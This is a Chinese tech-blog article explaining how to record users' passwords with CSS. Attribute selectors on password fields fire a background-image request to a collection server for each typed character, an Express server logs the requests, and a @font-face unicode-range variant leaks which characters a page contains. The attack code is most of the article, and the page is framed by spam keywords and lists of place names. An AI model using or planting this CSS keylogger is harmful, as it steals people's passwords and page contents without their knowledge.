91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么使用CSS記錄用戶密碼

發布時間:2023-01-03 10:39:25 來源:億速云 閱讀:140 作者:iii 欄目:開發技術

這篇文章主要介紹“怎么使用CSS記錄用戶密碼”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“怎么使用CSS記錄用戶密碼”文章能幫助大家解決問題。

直接上代碼解析:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

以上是部分代碼,我們來解析一下CSS代碼

input[type="password"]是css選擇器,作用是選擇密碼輸入框, [value$="0"]表示匹配輸入的值是以0結尾的。所以:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

上面代碼的意思就是如果你在密碼框中輸入0,就去請求http://localhost:3000/0接口,但是瀏覽器默認情況下是不會將用戶輸入的值存儲在value屬性中,但是有的框架會同步這些值,例如React。

我們再來看一下服務器端的代碼:

const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});

app.listen(3000, () => console.log("啟動,監聽3000端口"));

使用express創建服務器,監聽3000端口,只要請求http://localhost:3000/:key,就能輸出key的值,就能在服務器上記錄輸入的值。所以只要在每輸入一個值都匹配,然后通過 background-image 去請求一個已經準備好的接口,就能記錄用戶的輸入。類似的方法記錄用戶的內容的CSS代碼@font-face {  

   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

你使用的的css的簡單的字體庫,只要你的頁面中包含a,就會去請求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字符。

關于“怎么使用CSS記錄用戶密碼”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識,可以關注億速云行業資訊頻道,小編每天都會為大家更新不同的知識點。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

css
AI

巴林右旗| 信阳市| 南涧| 牟定县| 中西区| 西丰县| 垦利县| 松滋市| 吉首市| 瑞安市| 黄龙县| 周口市| 乌鲁木齐县| 镇远县| 讷河市| 临夏市| 绍兴市| 金堂县| 铁岭县| 山东省| 四会市| 泸定县| 泾川县| 南开区| 黎城县| 枞阳县| 卢湾区| 龙泉市| 房山区| 祁门县| 娄烦县| 巴林右旗| 玉田县| 平潭县| 保定市| 垣曲县| 西宁市| 红安县| 门头沟区| 黄大仙区| 广宁县|